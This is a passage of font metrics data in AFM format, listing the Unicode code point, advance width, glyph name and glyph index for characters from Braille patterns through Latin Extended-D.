U 10417 ; WX 732 ; N uni28B1 ; G 4365
U 10418 ; WX 732 ; N uni28B2 ; G 4366
U 10419 ; WX 732 ; N uni28B3 ; G 4367
U 10420 ; WX 732 ; N uni28B4 ; G 4368
U 10421 ; WX 732 ; N uni28B5 ; G 4369
U 10422 ; WX 732 ; N uni28B6 ; G 4370
U 10423 ; WX 732 ; N uni28B7 ; G 4371
U 10424 ; WX 732 ; N uni28B8 ; G 4372
U 10425 ; WX 732 ; N uni28B9 ; G 4373
U 10426 ; WX 732 ; N uni28BA ; G 4374
U 10427 ; WX 732 ; N uni28BB ; G 4375
U 10428 ; WX 732 ; N uni28BC ; G 4376
U 10429 ; WX 732 ; N uni28BD ; G 4377
U 10430 ; WX 732 ; N uni28BE ; G 4378
U 10431 ; WX 732 ; N uni28BF ; G 4379
U 10432 ; WX 732 ; N uni28C0 ; G 4380
U 10433 ; WX 732 ; N uni28C1 ; G 4381
U 10434 ; WX 732 ; N uni28C2 ; G 4382
U 10435 ; WX 732 ; N uni28C3 ; G 4383
U 10436 ; WX 732 ; N uni28C4 ; G 4384
U 10437 ; WX 732 ; N uni28C5 ; G 4385
U 10438 ; WX 732 ; N uni28C6 ; G 4386
U 10439 ; WX 732 ; N uni28C7 ; G 4387
U 10440 ; WX 732 ; N uni28C8 ; G 4388
U 10441 ; WX 732 ; N uni28C9 ; G 4389
U 10442 ; WX 732 ; N uni28CA ; G 4390
U 10443 ; WX 732 ; N uni28CB ; G 4391
U 10444 ; WX 732 ; N uni28CC ; G 4392
U 10445 ; WX 732 ; N uni28CD ; G 4393
U 10446 ; WX 732 ; N uni28CE ; G 4394
U 10447 ; WX 732 ; N uni28CF ; G 4395
U 10448 ; WX 732 ; N uni28D0 ; G 4396
U 10449 ; WX 732 ; N uni28D1 ; G 4397
U 10450 ; WX 732 ; N uni28D2 ; G 4398
U 10451 ; WX 732 ; N uni28D3 ; G 4399
U 10452 ; WX 732 ; N uni28D4 ; G 4400
U 10453 ; WX 732 ; N uni28D5 ; G 4401
U 10454 ; WX 732 ; N uni28D6 ; G 4402
U 10455 ; WX 732 ; N uni28D7 ; G 4403
U 10456 ; WX 732 ; N uni28D8 ; G 4404
U 10457 ; WX 732 ; N uni28D9 ; G 4405
U 10458 ; WX 732 ; N uni28DA ; G 4406
U 10459 ; WX 732 ; N uni28DB ; G 4407
U 10460 ; WX 732 ; N uni28DC ; G 4408
U 10461 ; WX 732 ; N uni28DD ; G 4409
U 10462 ; WX 732 ; N uni28DE ; G 4410
U 10463 ; WX 732 ; N uni28DF ; G 4411
U 10464 ; WX 732 ; N uni28E0 ; G 4412
U 10465 ; WX 732 ; N uni28E1 ; G 4413
U 10466 ; WX 732 ; N uni28E2 ; G 4414
U 10467 ; WX 732 ; N uni28E3 ; G 4415
U 10468 ; WX 732 ; N uni28E4 ; G 4416
U 10469 ; WX 732 ; N uni28E5 ; G 4417
U 10470 ; WX 732 ; N uni28E6 ; G 4418
U 10471 ; WX 732 ; N uni28E7 ; G 4419
U 10472 ; WX 732 ; N uni28E8 ; G 4420
U 10473 ; WX 732 ; N uni28E9 ; G 4421
U 10474 ; WX 732 ; N uni28EA ; G 4422
U 10475 ; WX 732 ; N uni28EB ; G 4423
U 10476 ; WX 732 ; N uni28EC ; G 4424
U 10477 ; WX 732 ; N uni28ED ; G 4425
U 10478 ; WX 732 ; N uni28EE ; G 4426
U 10479 ; WX 732 ; N uni28EF ; G 4427
U 10480 ; WX 732 ; N uni28F0 ; G 4428
U 10481 ; WX 732 ; N uni28F1 ; G 4429
U 10482 ; WX 732 ; N uni28F2 ; G 4430
U 10483 ; WX 732 ; N uni28F3 ; G 4431
U 10484 ; WX 732 ; N uni28F4 ; G 4432
U 10485 ; WX 732 ; N uni28F5 ; G 4433
U 10486 ; WX 732 ; N uni28F6 ; G 4434
U 10487 ; WX 732 ; N uni28F7 ; G 4435
U 10488 ; WX 732 ; N uni28F8 ; G 4436
U 10489 ; WX 732 ; N uni28F9 ; G 4437
U 10490 ; WX 732 ; N uni28FA ; G 4438
U 10491 ; WX 732 ; N uni28FB ; G 4439
U 10492 ; WX 732 ; N uni28FC ; G 4440
U 10493 ; WX 732 ; N uni28FD ; G 4441
U 10494 ; WX 732 ; N uni28FE ; G 4442
U 10495 ; WX 732 ; N uni28FF ; G 4443
U 10502 ; WX 838 ; N uni2906 ; G 4444
U 10503 ; WX 838 ; N uni2907 ; G 4445
U 10506 ; WX 838 ; N uni290A ; G 4446
U 10507 ; WX 838 ; N uni290B ; G 4447
U 10560 ; WX 683 ; N uni2940 ; G 4448
U 10561 ; WX 683 ; N uni2941 ; G 4449
U 10627 ; WX 734 ; N uni2983 ; G 4450
U 10628 ; WX 734 ; N uni2984 ; G 4451
U 10702 ; WX 838 ; N uni29CE ; G 4452
U 10703 ; WX 1000 ; N uni29CF ; G 4453
U 10704 ; WX 1000 ; N uni29D0 ; G 4454
U 10705 ; WX 1000 ; N uni29D1 ; G 4455
U 10706 ; WX 1000 ; N uni29D2 ; G 4456
U 10707 ; WX 1000 ; N uni29D3 ; G 4457
U 10708 ; WX 1000 ; N uni29D4 ; G 4458
U 10709 ; WX 1000 ; N uni29D5 ; G 4459
U 10731 ; WX 494 ; N uni29EB ; G 4460
U 10746 ; WX 838 ; N uni29FA ; G 4461
U 10747 ; WX 838 ; N uni29FB ; G 4462
U 10752 ; WX 1000 ; N uni2A00 ; G 4463
U 10753 ; WX 1000 ; N uni2A01 ; G 4464
U 10754 ; WX 1000 ; N uni2A02 ; G 4465
U 10764 ; WX 1325 ; N uni2A0C ; G 4466
U 10765 ; WX 521 ; N uni2A0D ; G 4467
U 10766 ; WX 521 ; N uni2A0E ; G 4468
U 10767 ; WX 521 ; N uni2A0F ; G 4469
U 10768 ; WX 521 ; N uni2A10 ; G 4470
U 10769 ; WX 521 ; N uni2A11 ; G 4471
U 10770 ; WX 521 ; N uni2A12 ; G 4472
U 10771 ; WX 521 ; N uni2A13 ; G 4473
U 10772 ; WX 521 ; N uni2A14 ; G 4474
U 10773 ; WX 521 ; N uni2A15 ; G 4475
U 10774 ; WX 521 ; N uni2A16 ; G 4476
U 10775 ; WX 521 ; N uni2A17 ; G 4477
U 10776 ; WX 521 ; N uni2A18 ; G 4478
U 10777 ; WX 521 ; N uni2A19 ; G 4479
U 10778 ; WX 521 ; N uni2A1A ; G 4480
U 10779 ; WX 521 ; N uni2A1B ; G 4481
U 10780 ; WX 521 ; N uni2A1C ; G 4482
U 10799 ; WX 838 ; N uni2A2F ; G 4483
U 10858 ; WX 838 ; N uni2A6A ; G 4484
U 10859 ; WX 838 ; N uni2A6B ; G 4485
U 10877 ; WX 838 ; N uni2A7D ; G 4486
U 10878 ; WX 838 ; N uni2A7E ; G 4487
U 10879 ; WX 838 ; N uni2A7F ; G 4488
U 10880 ; WX 838 ; N uni2A80 ; G 4489
U 10881 ; WX 838 ; N uni2A81 ; G 4490
U 10882 ; WX 838 ; N uni2A82 ; G 4491
U 10883 ; WX 838 ; N uni2A83 ; G 4492
U 10884 ; WX 838 ; N uni2A84 ; G 4493
U 10885 ; WX 838 ; N uni2A85 ; G 4494
U 10886 ; WX 838 ; N uni2A86 ; G 4495
U 10887 ; WX 838 ; N uni2A87 ; G 4496
U 10888 ; WX 838 ; N uni2A88 ; G 4497
U 10889 ; WX 838 ; N uni2A89 ; G 4498
U 10890 ; WX 838 ; N uni2A8A ; G 4499
U 10891 ; WX 838 ; N uni2A8B ; G 4500
U 10892 ; WX 838 ; N uni2A8C ; G 4501
U 10893 ; WX 838 ; N uni2A8D ; G 4502
U 10894 ; WX 838 ; N uni2A8E ; G 4503
U 10895 ; WX 838 ; N uni2A8F ; G 4504
U 10896 ; WX 838 ; N uni2A90 ; G 4505
U 10897 ; WX 838 ; N uni2A91 ; G 4506
U 10898 ; WX 838 ; N uni2A92 ; G 4507
U 10899 ; WX 838 ; N uni2A93 ; G 4508
U 10900 ; WX 838 ; N uni2A94 ; G 4509
U 10901 ; WX 838 ; N uni2A95 ; G 4510
U 10902 ; WX 838 ; N uni2A96 ; G 4511
U 10903 ; WX 838 ; N uni2A97 ; G 4512
U 10904 ; WX 838 ; N uni2A98 ; G 4513
U 10905 ; WX 838 ; N uni2A99 ; G 4514
U 10906 ; WX 838 ; N uni2A9A ; G 4515
U 10907 ; WX 838 ; N uni2A9B ; G 4516
U 10908 ; WX 838 ; N uni2A9C ; G 4517
U 10909 ; WX 838 ; N uni2A9D ; G 4518
U 10910 ; WX 838 ; N uni2A9E ; G 4519
U 10911 ; WX 838 ; N uni2A9F ; G 4520
U 10912 ; WX 838 ; N uni2AA0 ; G 4521
U 10926 ; WX 838 ; N uni2AAE ; G 4522
U 10927 ; WX 838 ; N uni2AAF ; G 4523
U 10928 ; WX 838 ; N uni2AB0 ; G 4524
U 10929 ; WX 838 ; N uni2AB1 ; G 4525
U 10930 ; WX 838 ; N uni2AB2 ; G 4526
U 10931 ; WX 838 ; N uni2AB3 ; G 4527
U 10932 ; WX 838 ; N uni2AB4 ; G 4528
U 10933 ; WX 838 ; N uni2AB5 ; G 4529
U 10934 ; WX 838 ; N uni2AB6 ; G 4530
U 10935 ; WX 838 ; N uni2AB7 ; G 4531
U 10936 ; WX 838 ; N uni2AB8 ; G 4532
U 10937 ; WX 838 ; N uni2AB9 ; G 4533
U 10938 ; WX 838 ; N uni2ABA ; G 4534
U 11001 ; WX 838 ; N uni2AF9 ; G 4535
U 11002 ; WX 838 ; N uni2AFA ; G 4536
U 11008 ; WX 838 ; N uni2B00 ; G 4537
U 11009 ; WX 838 ; N uni2B01 ; G 4538
U 11010 ; WX 838 ; N uni2B02 ; G 4539
U 11011 ; WX 838 ; N uni2B03 ; G 4540
U 11012 ; WX 838 ; N uni2B04 ; G 4541
U 11013 ; WX 838 ; N uni2B05 ; G 4542
U 11014 ; WX 838 ; N uni2B06 ; G 4543
U 11015 ; WX 838 ; N uni2B07 ; G 4544
U 11016 ; WX 838 ; N uni2B08 ; G 4545
U 11017 ; WX 838 ; N uni2B09 ; G 4546
U 11018 ; WX 838 ; N uni2B0A ; G 4547
U 11019 ; WX 838 ; N uni2B0B ; G 4548
U 11020 ; WX 838 ; N uni2B0C ; G 4549
U 11021 ; WX 838 ; N uni2B0D ; G 4550
U 11022 ; WX 836 ; N uni2B0E ; G 4551
U 11023 ; WX 836 ; N uni2B0F ; G 4552
U 11024 ; WX 836 ; N uni2B10 ; G 4553
U 11025 ; WX 836 ; N uni2B11 ; G 4554
U 11026 ; WX 945 ; N uni2B12 ; G 4555
U 11027 ; WX 945 ; N uni2B13 ; G 4556
U 11028 ; WX 945 ; N uni2B14 ; G 4557
U 11029 ; WX 945 ; N uni2B15 ; G 4558
U 11030 ; WX 769 ; N uni2B16 ; G 4559
U 11031 ; WX 769 ; N uni2B17 ; G 4560
U 11032 ; WX 769 ; N uni2B18 ; G 4561
U 11033 ; WX 769 ; N uni2B19 ; G 4562
U 11034 ; WX 945 ; N uni2B1A ; G 4563
U 11039 ; WX 869 ; N uni2B1F ; G 4564
U 11040 ; WX 869 ; N uni2B20 ; G 4565
U 11041 ; WX 873 ; N uni2B21 ; G 4566
U 11042 ; WX 873 ; N uni2B22 ; G 4567
U 11043 ; WX 873 ; N uni2B23 ; G 4568
U 11044 ; WX 1119 ; N uni2B24 ; G 4569
U 11091 ; WX 869 ; N uni2B53 ; G 4570
U 11092 ; WX 869 ; N uni2B54 ; G 4571
U 11360 ; WX 557 ; N uni2C60 ; G 4572
U 11361 ; WX 278 ; N uni2C61 ; G 4573
U 11362 ; WX 557 ; N uni2C62 ; G 4574
U 11363 ; WX 603 ; N uni2C63 ; G 4575
U 11364 ; WX 695 ; N uni2C64 ; G 4576
U 11365 ; WX 613 ; N uni2C65 ; G 4577
U 11366 ; WX 392 ; N uni2C66 ; G 4578
U 11367 ; WX 752 ; N uni2C67 ; G 4579
U 11368 ; WX 634 ; N uni2C68 ; G 4580
U 11369 ; WX 656 ; N uni2C69 ; G 4581
U 11370 ; WX 579 ; N uni2C6A ; G 4582
U 11371 ; WX 685 ; N uni2C6B ; G 4583
U 11372 ; WX 525 ; N uni2C6C ; G 4584
U 11373 ; WX 781 ; N uni2C6D ; G 4585
U 11374 ; WX 863 ; N uni2C6E ; G 4586
U 11375 ; WX 684 ; N uni2C6F ; G 4587
U 11376 ; WX 781 ; N uni2C70 ; G 4588
U 11377 ; WX 734 ; N uni2C71 ; G 4589
U 11378 ; WX 1128 ; N uni2C72 ; G 4590
U 11379 ; WX 961 ; N uni2C73 ; G 4591
U 11380 ; WX 592 ; N uni2C74 ; G 4592
U 11381 ; WX 654 ; N uni2C75 ; G 4593
U 11382 ; WX 568 ; N uni2C76 ; G 4594
U 11383 ; WX 660 ; N uni2C77 ; G 4595
U 11385 ; WX 414 ; N uni2C79 ; G 4596
U 11386 ; WX 612 ; N uni2C7A ; G 4597
U 11387 ; WX 491 ; N uni2C7B ; G 4598
U 11388 ; WX 175 ; N uni2C7C ; G 4599
U 11389 ; WX 431 ; N uni2C7D ; G 4600
U 11390 ; WX 635 ; N uni2C7E ; G 4601
U 11391 ; WX 685 ; N uni2C7F ; G 4602
U 11520 ; WX 591 ; N uni2D00 ; G 4603
U 11521 ; WX 595 ; N uni2D01 ; G 4604
U 11522 ; WX 564 ; N uni2D02 ; G 4605
U 11523 ; WX 602 ; N uni2D03 ; G 4606
U 11524 ; WX 587 ; N uni2D04 ; G 4607
U 11525 ; WX 911 ; N uni2D05 ; G 4608
U 11526 ; WX 626 ; N uni2D06 ; G 4609
U 11527 ; WX 952 ; N uni2D07 ; G 4610
U 11528 ; WX 595 ; N uni2D08 ; G 4611
U 11529 ; WX 607 ; N uni2D09 ; G 4612
U 11530 ; WX 954 ; N uni2D0A ; G 4613
U 11531 ; WX 620 ; N uni2D0B ; G 4614
U 11532 ; WX 595 ; N uni2D0C ; G 4615
U 11533 ; WX 926 ; N uni2D0D ; G 4616
U 11534 ; WX 595 ; N uni2D0E ; G 4617
U 11535 ; WX 806 ; N uni2D0F ; G 4618
U 11536 ; WX 931 ; N uni2D10 ; G 4619
U 11537 ; WX 584 ; N uni2D11 ; G 4620
U 11538 ; WX 592 ; N uni2D12 ; G 4621
U 11539 ; WX 923 ; N uni2D13 ; G 4622
U 11540 ; WX 953 ; N uni2D14 ; G 4623
U 11541 ; WX 828 ; N uni2D15 ; G 4624
U 11542 ; WX 596 ; N uni2D16 ; G 4625
U 11543 ; WX 595 ; N uni2D17 ; G 4626
U 11544 ; WX 590 ; N uni2D18 ; G 4627
U 11545 ; WX 592 ; N uni2D19 ; G 4628
U 11546 ; WX 592 ; N uni2D1A ; G 4629
U 11547 ; WX 621 ; N uni2D1B ; G 4630
U 11548 ; WX 920 ; N uni2D1C ; G 4631
U 11549 ; WX 589 ; N uni2D1D ; G 4632
U 11550 ; WX 586 ; N uni2D1E ; G 4633
U 11551 ; WX 581 ; N uni2D1F ; G 4634
U 11552 ; WX 914 ; N uni2D20 ; G 4635
U 11553 ; WX 596 ; N uni2D21 ; G 4636
U 11554 ; WX 595 ; N uni2D22 ; G 4637
U 11555 ; WX 592 ; N uni2D23 ; G 4638
U 11556 ; WX 642 ; N uni2D24 ; G 4639
U 11557 ; WX 901 ; N uni2D25 ; G 4640
U 11568 ; WX 646 ; N uni2D30 ; G 4641
U 11569 ; WX 888 ; N uni2D31 ; G 4642
U 11570 ; WX 888 ; N uni2D32 ; G 4643
U 11571 ; WX 682 ; N uni2D33 ; G 4644
U 11572 ; WX 684 ; N uni2D34 ; G 4645
U 11573 ; WX 635 ; N uni2D35 ; G 4646
U 11574 ; WX 562 ; N uni2D36 ; G 4647
U 11575 ; WX 684 ; N uni2D37 ; G 4648
U 11576 ; WX 684 ; N uni2D38 ; G 4649
U 11577 ; WX 632 ; N uni2D39 ; G 4650
U 11578 ; WX 632 ; N uni2D3A ; G 4651
U 11579 ; WX 683 ; N uni2D3B ; G 4652
U 11580 ; WX 875 ; N uni2D3C ; G 4653
U 11581 ; WX 685 ; N uni2D3D ; G 4654
U 11582 ; WX 491 ; N uni2D3E ; G 4655
U 11583 ; WX 685 ; N uni2D3F ; G 4656
U 11584 ; WX 888 ; N uni2D40 ; G 4657
U 11585 ; WX 888 ; N uni2D41 ; G 4658
U 11586 ; WX 300 ; N uni2D42 ; G 4659
U 11587 ; WX 627 ; N uni2D43 ; G 4660
U 11588 ; WX 752 ; N uni2D44 ; G 4661
U 11589 ; WX 656 ; N uni2D45 ; G 4662
U 11590 ; WX 527 ; N uni2D46 ; G 4663
U 11591 ; WX 685 ; N uni2D47 ; G 4664
U 11592 ; WX 645 ; N uni2D48 ; G 4665
U 11593 ; WX 632 ; N uni2D49 ; G 4666
U 11594 ; WX 502 ; N uni2D4A ; G 4667
U 11595 ; WX 953 ; N uni2D4B ; G 4668
U 11596 ; WX 778 ; N uni2D4C ; G 4669
U 11597 ; WX 748 ; N uni2D4D ; G 4670
U 11598 ; WX 621 ; N uni2D4E ; G 4671
U 11599 ; WX 295 ; N uni2D4F ; G 4672
U 11600 ; WX 778 ; N uni2D50 ; G 4673
U 11601 ; WX 295 ; N uni2D51 ; G 4674
U 11602 ; WX 752 ; N uni2D52 ; G 4675
U 11603 ; WX 633 ; N uni2D53 ; G 4676
U 11604 ; WX 888 ; N uni2D54 ; G 4677
U 11605 ; WX 888 ; N uni2D55 ; G 4678
U 11606 ; WX 752 ; N uni2D56 ; G 4679
U 11607 ; WX 320 ; N uni2D57 ; G 4680
U 11608 ; WX 749 ; N uni2D58 ; G 4681
U 11609 ; WX 888 ; N uni2D59 ; G 4682
U 11610 ; WX 888 ; N uni2D5A ; G 4683
U 11611 ; WX 698 ; N uni2D5B ; G 4684
U 11612 ; WX 768 ; N uni2D5C ; G 4685
U 11613 ; WX 685 ; N uni2D5D ; G 4686
U 11614 ; WX 698 ; N uni2D5E ; G 4687
U 11615 ; WX 622 ; N uni2D5F ; G 4688
U 11616 ; WX 684 ; N uni2D60 ; G 4689
U 11617 ; WX 752 ; N uni2D61 ; G 4690
U 11618 ; WX 632 ; N uni2D62 ; G 4691
U 11619 ; WX 788 ; N uni2D63 ; G 4692
U 11620 ; WX 567 ; N uni2D64 ; G 4693
U 11621 ; WX 788 ; N uni2D65 ; G 4694
U 11631 ; WX 515 ; N uni2D6F ; G 4695
U 11800 ; WX 531 ; N uni2E18 ; G 4696
U 11807 ; WX 838 ; N uni2E1F ; G 4697
U 11810 ; WX 390 ; N uni2E22 ; G 4698
U 11811 ; WX 390 ; N uni2E23 ; G 4699
U 11812 ; WX 390 ; N uni2E24 ; G 4700
U 11813 ; WX 390 ; N uni2E25 ; G 4701
U 11822 ; WX 531 ; N uni2E2E ; G 4702
U 19904 ; WX 896 ; N uni4DC0 ; G 4703
U 19905 ; WX 896 ; N uni4DC1 ; G 4704
U 19906 ; WX 896 ; N uni4DC2 ; G 4705
U 19907 ; WX 896 ; N uni4DC3 ; G 4706
U 19908 ; WX 896 ; N uni4DC4 ; G 4707
U 19909 ; WX 896 ; N uni4DC5 ; G 4708
U 19910 ; WX 896 ; N uni4DC6 ; G 4709
U 19911 ; WX 896 ; N uni4DC7 ; G 4710
U 19912 ; WX 896 ; N uni4DC8 ; G 4711
U 19913 ; WX 896 ; N uni4DC9 ; G 4712
U 19914 ; WX 896 ; N uni4DCA ; G 4713
U 19915 ; WX 896 ; N uni4DCB ; G 4714
U 19916 ; WX 896 ; N uni4DCC ; G 4715
U 19917 ; WX 896 ; N uni4DCD ; G 4716
U 19918 ; WX 896 ; N uni4DCE ; G 4717
U 19919 ; WX 896 ; N uni4DCF ; G 4718
U 19920 ; WX 896 ; N uni4DD0 ; G 4719
U 19921 ; WX 896 ; N uni4DD1 ; G 4720
U 19922 ; WX 896 ; N uni4DD2 ; G 4721
U 19923 ; WX 896 ; N uni4DD3 ; G 4722
U 19924 ; WX 896 ; N uni4DD4 ; G 4723
U 19925 ; WX 896 ; N uni4DD5 ; G 4724
U 19926 ; WX 896 ; N uni4DD6 ; G 4725
U 19927 ; WX 896 ; N uni4DD7 ; G 4726
U 19928 ; WX 896 ; N uni4DD8 ; G 4727
U 19929 ; WX 896 ; N uni4DD9 ; G 4728
U 19930 ; WX 896 ; N uni4DDA ; G 4729
U 19931 ; WX 896 ; N uni4DDB ; G 4730
U 19932 ; WX 896 ; N uni4DDC ; G 4731
U 19933 ; WX 896 ; N uni4DDD ; G 4732
U 19934 ; WX 896 ; N uni4DDE ; G 4733
U 19935 ; WX 896 ; N uni4DDF ; G 4734
U 19936 ; WX 896 ; N uni4DE0 ; G 4735
U 19937 ; WX 896 ; N uni4DE1 ; G 4736
U 19938 ; WX 896 ; N uni4DE2 ; G 4737
U 19939 ; WX 896 ; N uni4DE3 ; G 4738
U 19940 ; WX 896 ; N uni4DE4 ; G 4739
U 19941 ; WX 896 ; N uni4DE5 ; G 4740
U 19942 ; WX 896 ; N uni4DE6 ; G 4741
U 19943 ; WX 896 ; N uni4DE7 ; G 4742
U 19944 ; WX 896 ; N uni4DE8 ; G 4743
U 19945 ; WX 896 ; N uni4DE9 ; G 4744
U 19946 ; WX 896 ; N uni4DEA ; G 4745
U 19947 ; WX 896 ; N uni4DEB ; G 4746
U 19948 ; WX 896 ; N uni4DEC ; G 4747
U 19949 ; WX 896 ; N uni4DED ; G 4748
U 19950 ; WX 896 ; N uni4DEE ; G 4749
U 19951 ; WX 896 ; N uni4DEF ; G 4750
U 19952 ; WX 896 ; N uni4DF0 ; G 4751
U 19953 ; WX 896 ; N uni4DF1 ; G 4752
U 19954 ; WX 896 ; N uni4DF2 ; G 4753
U 19955 ; WX 896 ; N uni4DF3 ; G 4754
U 19956 ; WX 896 ; N uni4DF4 ; G 4755
U 19957 ; WX 896 ; N uni4DF5 ; G 4756
U 19958 ; WX 896 ; N uni4DF6 ; G 4757
U 19959 ; WX 896 ; N uni4DF7 ; G 4758
U 19960 ; WX 896 ; N uni4DF8 ; G 4759
U 19961 ; WX 896 ; N uni4DF9 ; G 4760
U 19962 ; WX 896 ; N uni4DFA ; G 4761
U 19963 ; WX 896 ; N uni4DFB ; G 4762
U 19964 ; WX 896 ; N uni4DFC ; G 4763
U 19965 ; WX 896 ; N uni4DFD ; G 4764
U 19966 ; WX 896 ; N uni4DFE ; G 4765
U 19967 ; WX 896 ; N uni4DFF ; G 4766
U 42192 ; WX 686 ; N uniA4D0 ; G 4767
U 42193 ; WX 603 ; N uniA4D1 ; G 4768
U 42194 ; WX 603 ; N uniA4D2 ; G 4769
U 42195 ; WX 770 ; N uniA4D3 ; G 4770
U 42196 ; WX 611 ; N uniA4D4 ; G 4771
U 42197 ; WX 611 ; N uniA4D5 ; G 4772
U 42198 ; WX 775 ; N uniA4D6 ; G 4773
U 42199 ; WX 656 ; N uniA4D7 ; G 4774
U 42200 ; WX 656 ; N uniA4D8 ; G 4775
U 42201 ; WX 512 ; N uniA4D9 ; G 4776
U 42202 ; WX 698 ; N uniA4DA ; G 4777
U 42203 ; WX 703 ; N uniA4DB ; G 4778
U 42204 ; WX 685 ; N uniA4DC ; G 4779
U 42205 ; WX 575 ; N uniA4DD ; G 4780
U 42206 ; WX 575 ; N uniA4DE ; G 4781
U 42207 ; WX 863 ; N uniA4DF ; G 4782
U 42208 ; WX 748 ; N uniA4E0 ; G 4783
U 42209 ; WX 557 ; N uniA4E1 ; G 4784
U 42210 ; WX 635 ; N uniA4E2 ; G 4785
U 42211 ; WX 695 ; N uniA4E3 ; G 4786
U 42212 ; WX 695 ; N uniA4E4 ; G 4787
U 42213 ; WX 684 ; N uniA4E5 ; G 4788
U 42214 ; WX 684 ; N uniA4E6 ; G 4789
U 42215 ; WX 752 ; N uniA4E7 ; G 4790
U 42216 ; WX 775 ; N uniA4E8 ; G 4791
U 42217 ; WX 512 ; N uniA4E9 ; G 4792
U 42218 ; WX 989 ; N uniA4EA ; G 4793
U 42219 ; WX 685 ; N uniA4EB ; G 4794
U 42220 ; WX 611 ; N uniA4EC ; G 4795
U 42221 ; WX 686 ; N uniA4ED ; G 4796
U 42222 ; WX 684 ; N uniA4EE ; G 4797
U 42223 ; WX 684 ; N uniA4EF ; G 4798
U 42224 ; WX 632 ; N uniA4F0 ; G 4799
U 42225 ; WX 632 ; N uniA4F1 ; G 4800
U 42226 ; WX 295 ; N uniA4F2 ; G 4801
U 42227 ; WX 787 ; N uniA4F3 ; G 4802
U 42228 ; WX 732 ; N uniA4F4 ; G 4803
U 42229 ; WX 732 ; N uniA4F5 ; G 4804
U 42230 ; WX 557 ; N uniA4F6 ; G 4805
U 42231 ; WX 767 ; N uniA4F7 ; G 4806
U 42232 ; WX 300 ; N uniA4F8 ; G 4807
U 42233 ; WX 300 ; N uniA4F9 ; G 4808
U 42234 ; WX 596 ; N uniA4FA ; G 4809
U 42235 ; WX 596 ; N uniA4FB ; G 4810
U 42236 ; WX 300 ; N uniA4FC ; G 4811
U 42237 ; WX 300 ; N uniA4FD ; G 4812
U 42238 ; WX 588 ; N uniA4FE ; G 4813
U 42239 ; WX 588 ; N uniA4FF ; G 4814
U 42564 ; WX 635 ; N uniA644 ; G 4815
U 42565 ; WX 521 ; N uniA645 ; G 4816
U 42566 ; WX 354 ; N uniA646 ; G 4817
U 42567 ; WX 338 ; N uniA647 ; G 4818
U 42572 ; WX 1180 ; N uniA64C ; G 4819
U 42573 ; WX 1028 ; N uniA64D ; G 4820
U 42576 ; WX 1029 ; N uniA650 ; G 4821
U 42577 ; WX 906 ; N uniA651 ; G 4822
U 42580 ; WX 1080 ; N uniA654 ; G 4823
U 42581 ; WX 842 ; N uniA655 ; G 4824
U 42582 ; WX 977 ; N uniA656 ; G 4825
U 42583 ; WX 843 ; N uniA657 ; G 4826
U 42594 ; WX 1062 ; N uniA662 ; G 4827
U 42595 ; WX 912 ; N uniA663 ; G 4828
U 42596 ; WX 1066 ; N uniA664 ; G 4829
U 42597 ; WX 901 ; N uniA665 ; G 4830
U 42598 ; WX 1178 ; N uniA666 ; G 4831
U 42599 ; WX 1008 ; N uniA667 ; G 4832
U 42600 ; WX 787 ; N uniA668 ; G 4833
U 42601 ; WX 612 ; N uniA669 ; G 4834
U 42602 ; WX 855 ; N uniA66A ; G 4835
U 42603 ; WX 712 ; N uniA66B ; G 4836
U 42604 ; WX 1358 ; N uniA66C ; G 4837
U 42605 ; WX 1019 ; N uniA66D ; G 4838
U 42606 ; WX 879 ; N uniA66E ; G 4839
U 42634 ; WX 782 ; N uniA68A ; G 4840
U 42635 ; WX 685 ; N uniA68B ; G 4841
U 42636 ; WX 611 ; N uniA68C ; G 4842
U 42637 ; WX 583 ; N uniA68D ; G 4843
U 42644 ; WX 686 ; N uniA694 ; G 4844
U 42645 ; WX 634 ; N uniA695 ; G 4845
U 42648 ; WX 1358 ; N uniA698 ; G 4846
U 42649 ; WX 1019 ; N uniA699 ; G 4847
U 42760 ; WX 493 ; N uniA708 ; G 4848
U 42761 ; WX 493 ; N uniA709 ; G 4849
U 42762 ; WX 493 ; N uniA70A ; G 4850
U 42763 ; WX 493 ; N uniA70B ; G 4851
U 42764 ; WX 493 ; N uniA70C ; G 4852
U 42765 ; WX 493 ; N uniA70D ; G 4853
U 42766 ; WX 493 ; N uniA70E ; G 4854
U 42767 ; WX 493 ; N uniA70F ; G 4855
U 42768 ; WX 493 ; N uniA710 ; G 4856
U 42769 ; WX 493 ; N uniA711 ; G 4857
U 42770 ; WX 493 ; N uniA712 ; G 4858
U 42771 ; WX 493 ; N uniA713 ; G 4859
U 42772 ; WX 493 ; N uniA714 ; G 4860
U 42773 ; WX 493 ; N uniA715 ; G 4861
U 42774 ; WX 493 ; N uniA716 ; G 4862
U 42779 ; WX 369 ; N uniA71B ; G 4863
U 42780 ; WX 369 ; N uniA71C ; G 4864
U 42781 ; WX 252 ; N uniA71D ; G 4865
U 42782 ; WX 252 ; N uniA71E ; G 4866
U 42783 ; WX 252 ; N uniA71F ; G 4867
U 42786 ; WX 385 ; N uniA722 ; G 4868
U 42787 ; WX 356 ; N uniA723 ; G 4869
U 42788 ; WX 472 ; N uniA724 ; G 4870
U 42789 ; WX 472 ; N uniA725 ; G 4871
U 42790 ; WX 752 ; N uniA726 ; G 4872
U 42791 ; WX 634 ; N uniA727 ; G 4873
U 42792 ; WX 878 ; N uniA728 ; G 4874
U 42793 ; WX 709 ; N uniA729 ; G 4875
U 42794 ; WX 614 ; N uniA72A ; G 4876
U 42795 ; WX 541 ; N uniA72B ; G 4877
U 42800 ; WX 491 ; N uniA730 ; G 4878
U 42801 ; WX 521 ; N uniA731 ; G 4879
U 42802 ; WX 1250 ; N uniA732 ; G 4880
U 42803 ; WX 985 ; N uniA733 ; G 4881
U 42804 ; WX 1203 ; N uniA734 ; G 4882
U 42805 ; WX 990 ; N uniA735 ; G 4883
U 42806 ; WX 1142 ; N uniA736 ; G 4884
U 42807 ; WX 981 ; N uniA737 ; G 4885
U 42808 ; WX 971 ; N uniA738 ; G 4886
U 42809 ; WX 818 ; N uniA739 ; G 4887
U 42810 ; WX 971 ; N uniA73A ; G 4888
U 42811 ; WX 818 ; N uniA73B ; G 4889
U 42812 ; WX 959 ; N uniA73C ; G 4890
U 42813 ; WX 818 ; N uniA73D ; G 4891
U 42814 ; WX 703 ; N uniA73E ; G 4892
U 42815 ; WX 549 ; N uniA73F ; G 4893
U 42816 ; WX 656 ; N uniA740 ; G 4894
U 42817 ; WX 583 ; N uniA741 ; G 4895
U 42822 ; WX 680 ; N uniA746 ; G 4896
U 42823 ; WX 392 ; N uniA747 ; G 4897
U 42824 ; WX 582 ; N uniA748 ; G 4898
U 42825 ; WX 427 ; N uniA749 ; G 4899
U 42826 ; WX 807 ; N uniA74A ; G 4900
